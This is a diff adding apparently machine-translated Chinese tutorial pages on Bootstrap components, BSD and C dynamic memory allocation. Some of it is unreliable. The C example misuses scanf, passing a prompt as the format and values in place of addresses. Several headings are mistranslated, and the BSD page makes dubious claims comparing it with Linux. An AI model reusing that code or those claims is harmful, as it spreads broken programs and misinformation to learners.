+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+            <div class="example col-md-1">Content</div> 
+        </div> 
+    </div> 
+```
+
+![12-COL-格](https://github.com/bflatt72/bflatt72.github.io/blob/master/img/bootstrapgrid1.png)
+
+#### 更多信息：
+
+[Bootstrap Docs - 网格系统](https://getbootstrap.com/docs/4.0/layout/grid/)
+
+_本指南基于Bootstrap v4（它将与v3一起使用，除了额外的小屏幕定义为`xs`且没有`xl`大小）_
+
+*   超大： **视口宽度> = 1200px**
+*   大： **视口宽度> = 992px**
+*   中： **视口宽度> = 768px**
+*   小： **视口宽度> = 576px**
+*   超小： **视口宽度低于576px**
+
+#### 更多信息：
+
+https://getbootstrap.com/docs/4.0/layout/grid/
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/icons/index.md b/client/src/guide/chinese/bootstrap/icons/index.md
new file mode 100644
index 0000000000..761329fcb8
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/icons/index.md
@@ -0,0 +1,52 @@
+---
+title: Icons
+localeTitle: 图标
+---
+## 图标
+
+Bootstrap框架为您提供Glyphicons图标。 默认情况下，Bootstrap不包含图标库，但它有一些建议供您选择。虽然大多数图标集包含多种文件格式，但我们更喜欢SVG实现，以提高其可访问性和矢量支持。
+
+### 如何使用
+
+要使用Bootstrap图标，请创建带有基类`glyphicon`和单个图标类的span标记。 仅在不包含文本内容且没有子元素的元素上使用它。
+
+**代码示例：**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+`<span class="glyphicon glyphicon-cog"></span>`
+
+Bootstrap框架为您提供了超过250个名为字形的图标。它们来自Glyphicon Halflings套装的字体格式。
+
+### 如何使用
+
+要使用引导程序图标，只需创建`<span>`标记并为该图标应用适用的CSS类。下面提供了一个代码示例。
+
+**代码示例：**
+
+`<span class="glyphicon glyphicon-search" aria-hidden="true"></span>`
+
+### Bootstrap Glyphicon类列表
+
+这是bootstrap为glyphicons提供的CSS类的示例。 [这里有](https://getbootstrap.com/docs/3.3/components/#glyphicons)更多可用的[东西](https://getbootstrap.com/docs/3.3/components/#glyphicons)
+
+`.glyphicon glyphicon-plus`这是bootstrap的加/添加图标。
+
+`.glyphicon glyphicon-trash`这是bootstrap的垃圾/删除图标。
+
+_注意：不要在HTML类属性中包含点，指的是带有点的类仅在调整CSS中的类时使用。_
+
+### 按钮中的引导程序图标
+
+```html
+
+  <button type="button" class="btn btn-default" aria-label="Left Align"> 
+    <span class="glyphicon glyphicon-align-left" aria-hidden="true"></span> 
+  </button> 
+```
+
+_注意：Bootstrap的Glyphicons图标在bootstrap V4上无法使用_
+
+### 更多信息：
+
+*   [Bootstrap Glyphicons Icons Doc](https://getbootstrap.com/docs/3.3/components/#glyphicons)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/index.md b/client/src/guide/chinese/bootstrap/index.md
new file mode 100644
index 0000000000..93e647eeae
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/index.md
@@ -0,0 +1,82 @@
+---
+title: Bootstrap
+localeTitle: 引导
+---
+## 引导
+
+Bootstrap是一个流行的Web开发前端框架。它包含用于设置HTML内容样式的预构建组件和设计元素。 Chrome，Firefox，Opera，Safari和Internet Explorer等现代浏览器支持Bootstrap。
+
+Bootstrap包括一个用于不同布局的响应式网格系统。这是建立移动友好网站的一个很好的起点。它还包括可选的JavaScript功能，如可折叠内容，轮播和模态。
+
+#### 版本历史
+
+Twitter最初开发了Bootstrap框架作为内部工具。他们在2011年8月将其作为开源项目发布。
+
+Bootstrap 2于2012年1月发布。其中一个主要功能是引入了12列响应式网格系统。 Bootstrap 3于2013年8月出现，转而采用扁平设计和移动优先方式。 Bootstrap 4自2017年8月开始提供测试版，现在包括Sass和Flexbox。
+
+Bootstrap 4正在开发两年，然后在2017年发布了一些beta版本，而第一个稳定版本在2018年1月发布。一些值得注意的变化包括：
+
+*   从Less移到Sass;
+*   移至Flexbox并改进了网格系统;
+*   添加卡片（替换孔，缩略图和面板）;
+*   以及更多！
+
+在撰写本文时，Bootstrap的最新版本是\[4.1.3\]（http://blog.getbootstrap.com/2018/07/24/bootstrap-4-1-3/ ）。如果您想了解任何公告新闻，请[在此处关注](http://blog.getbootstrap.com/) 。
+
+#### 安装
+
+将Bootstrap添加到Web项目有两个主要选项。您可以链接到公开可用的来源，也可以直接下载框架。
+
+##### 链接到另一个来源
+
+您可以使用引用内容交付网络（CDN）的网页`<head>`内的`<link>`元素添加Bootstrap CSS：
+
+`<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">`
+
+添加Bootstrap的JavaScript元素与通常放置在'底部'的`<script>`元素类似 ' 标签。您可能需要先包含一些依赖项。特别注意列出的顺序：
+
+```html
+
+<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> 
+ <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script> 
+```
+
+_注意：这些仅是示例，如有更改，恕不另行通知。请参阅CDN以获取要包含在项目中的当前链接。_
+
+##### 下载/安装
+
+您可以使用Bower，Composer，Meteor或npm下载和安装Bootstrap源文件。这允许更好的控制以及根据需要包括或排除模块的选项。
+
+`npm install bootstrap`
+
+`gem 'bootstrap', '~> 4.1.3'`
+
+\_注意：这些只是示例，如有更改，恕不另行通知。请参阅\_ [Bootstrap网站](https://getbootstrap.com/) \_获取最新链接.\_
+
+#### Bootstrap网格系统
+
+网格系统是一个移动优先的flexbox系统，用于快速构建适用于所有设备的各种形状和大小的布局。它基于12列布局，具有多个层，每个层对应一个媒体查询范围。
+
+Bootstrap带有预定义的网格类，供您在标记中使用。有关详细信息和示例，请访问https://getbootstrap.com/docs/4.1/layout/grid/
+
+### Boostrap功能
+
+*   Bootstrap 3支持最新版本的Google Chrome，Firefox，Internet Explorer，Opera和Safari（Windows除外）。它还支持IE8和最新的Firefox扩展支持版本（ESR）。\[12\]
+    
+*   从2.0开始，Bootstrap支持响应式网页设计。这意味着网页布局会动态调整，同时考虑到所用设备的特性（台式机，平板电脑，手机）。
+    
+*   从版本3.0开始，Bootstrap采用了移动优先设计理念，默认强调响应式设计。
+    
+*   4.0版增加了Sass和flexbox支持
+    
+
+#### 更多信息：
+
+Bootstrap包含许多[示例的](https://getbootstrap.com/docs/4.0/examples/)完整文档和[用于入门](https://getbootstrap.com/docs/4.0/getting-started/introduction/)的[HTML模板](https://getbootstrap.com/docs/4.0/getting-started/introduction/) （此模板仅包含脚本;如果您正在寻找，则不包含网格系统的设置）。
+
+此外，您还可以找到[免费](https://bootswatch.com/)和[付费](https://themes.getbootstrap.com/) 基于Bootstrap框架的主题，提供更加个性化和时尚的外观。
+
+#### Bootstrap资源：
+
+[Bootstrap的官方博客](http://blog.getbootstrap.com/) [Bootstrap网站的灵感](http://expo.getbootstrap.com/) [展示使用Bootstrap构建的网站](http://builtwithbootstrap.com/) [使用Bootstrap的项目的HTML linter](https://github.com/twbs/bootlint) [Bootstrap的设计元素和代码片段](https://bootsnipp.com/) [Bootstrap的代码，主题和附加资源](http://expo.getbootstrap.com/resources/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/modals/index.md b/client/src/guide/chinese/bootstrap/modals/index.md
new file mode 100644
index 0000000000..5c635282e5
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/modals/index.md
@@ -0,0 +1,89 @@
+---
+title: Modals
+localeTitle: 礼貌
+---
+## 情态动词
+
+模态是弹出窗口，用于在继续之前提供重要信息。
+
+要在当前页面的顶部创建此类对话框/弹出窗口，Bootstrap会提供Modal插件。
+
+#### 代码示例：
+
+```html
+
+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width"> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> 
+ 
+ <!-- jQuery library --> 
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+ 
+ <!-- Latest compiled JavaScript --> 
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
+ </head> 
+ 
+  <body> 
+ 
+ <!-- Triggering the modal popup --> 
+   <button type="button" class="btn btn-default" data-toggle="modal" data-target="#myModal">Open Modal</button> 
+ 
+  <!-- Modal popup --> 
+ 
+   <div class="modal fade" id="myModal"> 
+       <div class="modal-dialog"> 
+ 
+  <!-- Modal Content --> 
+            <div class="modal-content"> 
+              <div class="modal-header"> 
+                <button  type="button" data-dismiss="modal" class="close">&times;</button> 
+                <h4 class="modal-title">Modal Header</h4> 
+              </div> 
+ 
+              <div class="modal-body"> 
+                Do you wish to continue? 
+              </div> 
+ 
+              <div class="modal-footer"> 
+                <button class="btn btn-default"  data-dismiss="modal">close</button> 
+              </div> 
+ 
+            </div> 
+        </div> 
+ 
+   </div> 
+ 
+ </body> 
+ </html> 
+```
+
+#### 了解使用的属性和类：
+
+a） `data-toggle = "modal"` ：它打开模态。
+
+b） `data-target` ：它指向要打开的模态的Id。
+
+c） `data-dismiss="modal"` ：这会在单击关闭按钮时关闭弹出窗口。
+
+d） `.modal`类将`<div>`的内容标识为模态。
+
+e） `.modal-dialog`类设置`.modal-dialog`的正确高度和宽度。
+
+f） `.modal-content`类为modal.It包含页眉，正文和页脚部分。
+
+g） `.modal-header`类表示模态的标题部分（标题和（×）按钮）。
+
+h） `.modal-title`类用适当的高度设置模态的标题。
+
+i） `.modal-body`类设置模态的主体（对话框/弹出窗口）。它可以有其他标记，如`<p>,<img>,<video>`等。
+
+j） `.modal-footer`类调整模态的页脚。
+
+#### 更多信息 ：
+
+[Bootstrap模态](https://bootstrapbay.com/blog/working-bootstrap-modal/)
+
+如果你想探索**__Bootstrap 4.0 Latest（Alpha版）__** ： [Bootstrap Modal v4.0](https://getbootstrap.com/docs/4.0/components/modal/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/navigation-bar/index.md b/client/src/guide/chinese/bootstrap/navigation-bar/index.md
new file mode 100644
index 0000000000..52e4ffc89e
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/navigation-bar/index.md
@@ -0,0 +1,179 @@
+---
+title: Navigation Bar
+localeTitle: 导航栏
+---
+## 导航栏
+
+Bootstrap框架为您提供了一个功能调用导航栏。简而言之，导航栏（也称为导航栏）是页面顶部的标题，用于显示导航信息。
+
+#### 如何使用
+
+要使用Bootstrap导航栏，可以在网页的`<body>`元素内部的顶部添加`<nav>`元素。您可以添加各种样式来自定义导航栏的显示。
+
+#### 代码示例
+
+这是制作基本导航栏所需的代码。
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### 导航样式
+
+Bootstrap在Bootstrap框架中提供了一组类来设置导航栏的样式。这些课程如下：
+
+*   `navbar navbar-default`这是`navbar navbar-default`的默认样式。
+*   `navbar navbar-inverse`这与默认样式类似，但颜色是反转的。
+
+#### 将下拉菜单添加到导航栏
+
+您可以在导航栏中包含下拉菜单。此功能要求您包含Bootstrap的javascript文件以使其正常工作。
+
+```html
+
+<li class="dropdown"> 
+  <a class="dropdown-toggle" data-toggle="dropdown" href="#">Drop down 
+    <span class="caret"></span> 
+  </a> 
+ <ul class="dropdown-menu"> 
+    <li><a href="#">Item 1</a></li> 
+    <li><a href="#">Item 2</a></li> 
+    <li><a href="#">Item 3</a></li> 
+  </ul> 
+ </li> 
+```
+
+#### 向导航栏添加按钮
+
+您可以在导航栏上添加按钮。现有的Bootstrap Button类可以工作，但是您需要将类`navbar-btn`包含在类列表的末尾。
+
+```html
+
+<button class="btn navbar-btn">Button</button> 
+```
+
+#### 将表单添加到导航栏
+
+您还可以向导航栏添加表单。这可以用于诸如搜索字段，快速登录字段等任务。
+
+```html
+
+<form class="navbar-form navbar-right"> 
+  <div class="form-group"> 
+      <input type="text" class="form-control" placeholder="Search"> 
+  </div> 
+  <button type="submit" class="btn btn-default">Search</button> 
+ </form> 
+```
+
+#### 将元素对齐到导航栏上的右侧
+
+在某些情况下，您可能希望将导航栏中的元素对齐到右侧（例如登录或注册按钮）。为此，您需要使用`navbar-right`类。
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+    <ul class="nav navbar-nav navbar-right"> 
+      <li><a href="#">Action Link #1</a></li> 
+      <li><a href="#">Action Link #2</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### 独立于滚动显示导航栏
+
+在某些情况下，您可能希望将导航栏保持在屏幕的顶部或底部，而不管滚动。您需要将`navbar-fixed-top`或`navbar-fixed-bottom`类添加到`<nav>`元素。
+
+```html
+
+<nav class="navbar navbar-default navbar-fixed-top"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### 折叠导航栏
+
+在小屏幕（例如手机或平板电脑）上，导航栏将占用太多空间。幸运的是，存在折叠导航栏的选项。您可以使用以下示例完成此操作。
+
+```html
+
+<nav class="navbar navbar-default"> 
+  <div class="container-fluid"> 
+    <div class="navbar-header"> 
+      <a class="navbar-brand" href="#">Site Name</a> 
+    </div> 
+    <ul class="nav navbar-nav"> 
+      <li class="active"><a href="#">Home</a></li> 
+      <li><a href="#">Page 1</a></li> 
+      <li><a href="#">Page 2</a></li> 
+      <li><a href="#">Page 3</a></li> 
+    </ul> 
+  </div> 
+ </nav> 
+```
+
+#### Navbar示例
+
+`navbar navbar-default`
+
+[网站名称](#navbar-default)
+
+*   [家](#navbar-default)
+*   [第1页](#navbar-default)
+*   [第2页](#navbar-default)
+*   [第3页](#navbar-default)
+按键
+
+*   [行动链接＃1](#navbar-default)
+*   [行动链接＃2](#navbar-default)
+
+`navbar navbar-inverse`
+
+[网站名称](#navbar-inverse)
+
+*   [家](#navbar-inverse)
+*   [第1页](#navbar-inverse)
+*   [第2页](#navbar-inverse)
+*   [第3页](#navbar-inverse)
+按键
+
+*   [行动链接＃1](#navbar-inverse)
+*   [行动链接＃2](#navbar-inverse)
+
+#### 更多信息：
+
+[BootStrap导航栏文档](https://getbootstrap.com/docs/4.0/components/navbar/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/panels/index.md b/client/src/guide/chinese/bootstrap/panels/index.md
new file mode 100644
index 0000000000..02508c35bc
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/panels/index.md
@@ -0,0 +1,65 @@
+---
+title: Panels
+localeTitle: 面板
+---
+## 面板
+
+Bootstrap框架为您提供了一个名为面板的功能。面板是一个具有样式标题的框，然后是一个允许您通过一组或多个面板以有组织的方式显示信息的主体。
+
+#### 如何使用：
+
+要使用Bootstrap面板，您需要为您的面板类型添加一个`<div>` （类`panel panel-default`或类似的，请参阅面板示例以获取更多信息。）然后使用两个嵌套的`<div>`标记，一个用于标题（类`panel panel-heading` ）和一个用于主体（类`panel panel-body` ）。您可能会发现代码示例比书面说明更容易理解。
+
+**代码示例**
+
+```html
+
+<div class="panel panel-primary"> 
+  <div class="panel panel-heading">Panel Primary</div> 
+  <div class="panel panel-body"> This is a panel with the primary panel style.</div> 
+ </div> 
+```
+
+#### 面板示例：
+
+这是一组显示每种类型面板的示例。每个示例上方都显示了CSS类。
+
+`panel panel-default`
+
+面板默认
+
+这是一个具有默认面板样式的面板。
+
+`panel panel-primary`
+
+小组小学
+
+这是一个具有主要面板样式的面板。
+
+`panel panel-success`
+
+小组成功
+
+这是一个具有成功面板风格的面板。
+
+`panel panel-info`
+
+面板信息
+
+这是一个具有信息面板样式的面板。
+
+`panel panel-warning`
+
+面板警告
+
+这是一个带有警告面板样式的面板。
+
+`panel panel-danger`
+
+面板危险
+
+这是一个危险面板样式的面板。
+
+### 更多信息
+
+*   [Bootstrap下拉文档](https://getbootstrap.com/docs/4.0/components/dropdowns/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/tables/index.md b/client/src/guide/chinese/bootstrap/tables/index.md
new file mode 100644
index 0000000000..10501f5678
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/tables/index.md
@@ -0,0 +1,103 @@
+---
+title: Tables
+localeTitle: 表
+---
+## ##表
+
+#### 基本表
+
+为了实现基本样式示例，将基类`.table`添加到任何`<table>`元素。
+
+**例**
+```
+<table class="table"> 
+  ... 
+ </table> 
+```
+
+![基本表](https://github.com/TroyB12/Pictures/blob/master/Basic%20Table.PNG)
+
+* * *
+
+#### 表条纹
+
+为了在表中实现条纹行效果（斑马条纹），除了`.table`之外， `.table`在任何`<table>`元素上使用`.table-striped` 。条带化表格通过`:nth-child` CSS选择器设置样式，这在Internet Explorer 8中不可用。
+```
+<table class="table table-striped"> 
+  ... 
+ </table> 
+```
+
+![条纹表](https://github.com/TroyB12/Pictures/blob/master/Table%20Striped.PNG)
+
+* * *
+
+#### 表有边框
+
+为了实现`.table-bordered` ，除了`.table`之外， `.table`在任何`<table>`元素上使用`.table-bordered` `.table` 。
+```
+<table class="table table-bordered"> 
+  ... 
+ </table> 
+```
+
+![边界表](https://github.com/TroyB12/Pictures/blob/master/Table%20Bordered.PNG)
+
+* * *
+
+#### 表格悬停
+
+为了实现对表的悬停行效果，除了`.table`之外， `.table`在任何`<table>`元素上使用`.table-bordered` `.table` 。
+```
+<table class="table table-hover"> 
+  ... 
+ </table> 
+```
+
+![悬停表](https://github.com/TroyB12/Pictures/blob/master/Table%20Hover.PNG)
+
+* * *
+
+#### 表浓缩
+
+为了实现精简表，在任何`<table>`元素上除了`.table`之外还使用`.table-condensed` 。
+```
+<table class="table table-condensed"> 
+  ... 
+ </table> 
+```
+
+![凝聚表](https://github.com/TroyB12/Pictures/blob/master/Table%20Condensed.PNG)
+
+* * *
+
+#### 表响应
+
+通过将任何`.table`表包装在`.table-responsive`元素中来实现响应表。
+
+...
+
+![响应表](https://github.com/TroyB12/Pictures/blob/master/Table%20Responsive.PNG)
+
+* * *
+
+开发人员可以使用**上下文类**来更改每个单独行和/或单元格的样式。
+
+*   `.active` - 将悬停颜色应用于特定行或单元格
+    
+*   `.success` - 表示成功或积极的操作
+    
+*   `.info` - 表示中立的信息更改或操作
+    
+*   `.warning` - 表示可能需要注意的警告
+    
+*   `.danger` - 表示危险或潜在的负面行为
+    
+    ... ... ... ... ...
+    
+    ... ... ... ... ...
+    
+
+![上下文类表](https://github.com/TroyB12/Pictures/blob/master/Table%20Contextual%20Classes.PNG)
+
+* * *
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/tabs-and-pills/index.md b/client/src/guide/chinese/bootstrap/tabs-and-pills/index.md
new file mode 100644
index 0000000000..37effbe0ca
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/tabs-and-pills/index.md
@@ -0,0 +1,125 @@
+---
+title: Tabs and Pills
+localeTitle: 标签和药丸
+---
+## 标签和药丸
+
+标签和药丸是导航的形式。这意味着它们可以帮助最终用户以用户友好的方式浏览网站。
+
+### 标签
+
+要实现引导选项卡，首先需要一个分配了`.nav`类的元素。然后，您只需添加一个名为`.nav-tabs`的额外类。
+
+```html
+
+<ul class="nav nav-tabs"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+```
+
+## ![Bootstrap标签](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs.PNG)
+
+### 丸
+
+Bootstrap Pills的实现方式与Bootstrap Tabs相同，除了代替`.nav-tabs` ，使用`.nav-pills` 。
+
+```html
+
+<ul class="nav nav-pills"> 
+  <li role="presentation" class="active"><a href="#">Home</a></li> 
+  <li role="presentation"><a href="#">Profile</a></li> 
+  <li role="presentation"><a href="#">Messages</a></li> 
+ </ul> 
+```
+
+## ![Bootstrap丸](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills.PNG)
+
+### 药片堆积
+
+通过使用`.nav stacked`与`.nav-pills`一起堆叠，Bootstrap Pills也可以垂直堆叠。
+
+```html
+
+<ul class="nav nav-pills nav-stacked"> 
+  ... 
+ </ul> 
+```
+
+## ![堆积的Bootstrap药片](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Stacked.PNG)
+
+### Bootstrap标签/药丸合理
+
+通过使用`.nav-justified`类，Bootstrap Tabs和Pills在屏幕宽度超过768px时可以具有相同的父级宽度。在较小的屏幕上，导航链接是堆叠的。
+
+```html
+
+<ul class="nav nav-tabs nav-justified"> 
+  ... 
+ </ul> 
+ <ul class="nav nav-pills nav-justified"> 
+  ... 
+ </ul> 
+```
+
+## ![Bootstrap标签/药丸合理](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20And%20Pills%20Justified.PNG)
+
+### 禁用链接
+
+对于任何导航组件（标签或药丸），为灰色链接添加`.disabled` ，不添加悬停效果
+
+```html
+
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="disabled"><a href="#">Disabled link</a></li> 
+  ... 
+ </ul> 
+```
+
+## ![禁用链接](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20and%20Pills%20Disabled%20Link.PNG)
+
+### 带下拉列表的标签
+
+在导航标签中添加下拉菜单。
+
+```html
+
+<ul class="nav nav-tabs"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+```
+
+## ![带下拉列表的标签](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Tabs%20Dropdown.PNG)
+
+#### 带下拉列表的标签
+
+在导航丸中添加下拉菜单。
+
+```html
+
+<ul class="nav nav-pills"> 
+  ... 
+  <li role="presentation" class="dropdown"> 
+    <a class="dropdown-toggle" data-toggle="dropdown" href="#" role="button" aria-haspopup="true" aria-expanded="false"> 
+      Dropdown <span class="caret"></span> 
+    </a> 
+    <ul class="dropdown-menu"> 
+      ... 
+    </ul> 
+  </li> 
+  ... 
+ </ul> 
+```
+
+![药丸与下拉菜单](https://github.com/TroyB12/Pictures/blob/master/Bootstrap%20Pills%20Dropdown.PNG)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/templates/index.md b/client/src/guide/chinese/bootstrap/templates/index.md
new file mode 100644
index 0000000000..0b98400590
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/templates/index.md
@@ -0,0 +1,22 @@
+---
+title: Templates
+localeTitle: 模板
+---
+## 模板
+
+### 概观
+
+模板是预构建的工具包，可以轻松地启动新的网页。如果您对所需的布局有一个大概的了解，或者如果您想浏览一个通用布局模板库以获取想法，那么Bootstrap模板会占用大量繁琐的工作，并且会在初始构建过程中产生挫败感。这种帮助可以帮助您专注于项目的更精细细节，而不是想知道为什么CSS不合作。
+
+### 入门
+
+*   Bootstraps官方网页提供“主题”而不是模板。主题只是完全构建的入门项目，而模板只描述了预构建的HTML框架。主题花钱并且可能帮助新手开发人员，而许多模板是开源的，只提供所需的初步布局元素。
+*   下面是一个专门为Bootstrap制作的布局模板列表。玩得开心！
+
+### 模板链接
+
+*   [StartBootstrap模板](https://startbootstrap.com/)
+*   [W3学校引导模板](https://www.w3schools.com/bootstrap/bootstrap_templates.asp)
+*   [包裹自举](https://wrapbootstrap.com/)
+*   [哇滑块](http://wowslider.com/posts/35-top-free-bootstrap-templates-2016-95.html)
+*   [Bootstrap Made](https://bootstrapmade.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bsd-os/index.md b/client/src/guide/chinese/bsd-os/index.md
new file mode 100644
index 0000000000..7f0e1e10a8
--- /dev/null
+++ b/client/src/guide/chinese/bsd-os/index.md
@@ -0,0 +1,25 @@
+---
+title: BSD operating system
+localeTitle: BSD操作系统
+---
+## BSD操作系统
+
+![BSD操作系统，最着名的是freeBSD：服务的力量](https://www.freebsd.org/layout/images/logo-red.png)
+
+### 概观
+
+Berkeley Software Distribution（BSD）是一组相关的开源类Unix操作系统（OS），起源于贝尔实验室的早期版本的研究Unix。 FreeBSD是最受欢迎的成员。
+
+BSD配置为在一个系统上进行互联网托管，虚拟主机和托管许多服务器。 这是第一个添加了互联网协议的操作系统。 BSD操作系统具有非常强大的时间共享系统，这使得它们在进程之间共享资源的情况下最有用。 作为一种比较，众所周知，Linux操作系统更适用于单任务流程，如超级计算机和台式机。 分时有效的BSD多任务强制中断部分妨碍了专用的单个进程。
+
+BSD包含一个“Jails”系统，它有点类似于Linux容器 - 除了在实现方面具有额外的安全性和灵活性。
+
+### 更多信息：
+
+[FreeBSD（维基百科）](https://en.wikipedia.org/wiki/FreeBSD)
+
+[OpenBSD（Wikipedia.org）](https://en.wikipedia.org/wiki/OpenBSD)
+
+[NetBSD（Wikipedia.org）](https://en.wikipedia.org/wiki/NetBSD)
+
+[BSD操作系统的比较（Wikipedia.org）](https://en.wikipedia.org/wiki/Comparison_of_BSD_operating_systems)
\ No newline at end of file
diff --git a/client/src/guide/chinese/c/Dinamic Memory Management/index.md b/client/src/guide/chinese/c/Dinamic Memory Management/index.md
new file mode 100644
index 0000000000..0f78f2eddd
--- /dev/null
+++ b/client/src/guide/chinese/c/Dinamic Memory Management/index.md	
@@ -0,0 +1,94 @@
+---
+title: Dinamic Memory Management
+localeTitle: Dinamic内存管理
+---
+# Dinamic内存管理
+
+有时您需要在堆中分配内存空间，也称为dinamic内存。当您在编译期间不知道数据结构（如数组）的大小时，这非常有用。
+
+## 一个例子
+
+这是一个简单的例子，我们分配一个数组，要求用户选择维度
+
+```C
+#include <stdio.h> 
+ #include <stdlib.h> 
+ 
+ int main(void) { 
+    int arrayDimension,i; 
+    int* arrayPointer; 
+ 
+    scanf("Please insert the array dimension:%d",arrayDimension); 
+    arrayPointer = (int*)malloc(sizeof(int)*arrayDimension); 
+ 
+    if(arrayPointer == NULL){ 
+      printf("Error allocating memory!"); 
+      return -1; 
+     } 
+ 
+     for(i=0;i<arrayDimension;i++){ 
+        printf("Insert the %d value of the array:",i+1); 
+        scanf("%d\n",arrayPointer[i]); 
+     } 
+ 
+    free(arrayPointer); 
+    return 0; 
+ } 
+```
+
+正如您所看到的，为了在dinamic内存中分配空间，您需要知道指针在C中的工作方式。 这里的魔术函数是`malloc` ，它将作为输出返回一个void指针（它是一个指向未知数据类型区域的指针）到我们刚刚分配的新内存空间。 让我们看看如何逐步使用此功能：
+
+## 在运行时分配数组
+
+```C
+sizeof(int) 
+```
+
+让我们从`sizeof`开始吧。 `malloc`需要知道为您的数据分配多少空间。事实上， `int`变量将使用更少的存储空间，然后使用`double`存储空间。 假设任何数据类型的大小通常是不安全的。例如，尽管32位系统上的大多数C和C ++实现都将int类型定义为四个八位字节，但是当代码移植到不同的系统时，此大小可能会发生变化，从而破坏了代码。 `sizeof`因为它的名字建议生成变量或数据类型的大小。
+
+```C
+arrayPointer = (int*) malloc(sizeof(int) * arrayDimension); 
+```
+
+在此示例中，malloc分配内存并返回指向内存块的指针。分配的块大小等于int类型的单个对象乘以`arrayDimension`的字节数， `arrayDimension`是系统有足够的可用空间。 但是如果你没有足够的空间或者`malloc`因为其他原因而无法分配呢？
+
+## 检查malloc输出
+
+这种情况并不常见，但在分配新的内存空间后检查指针变量的值是一种非常好的做法。
+
+```C
+    if(arrayPointer == NULL) 
+      printf("Error allocating memory!"); 
+```
+
+这在调试阶段也非常有用，并且可以使用示例中使用的最后一个函数来防止一些可能的错误。
+
+## 关于free（）的一句话
+
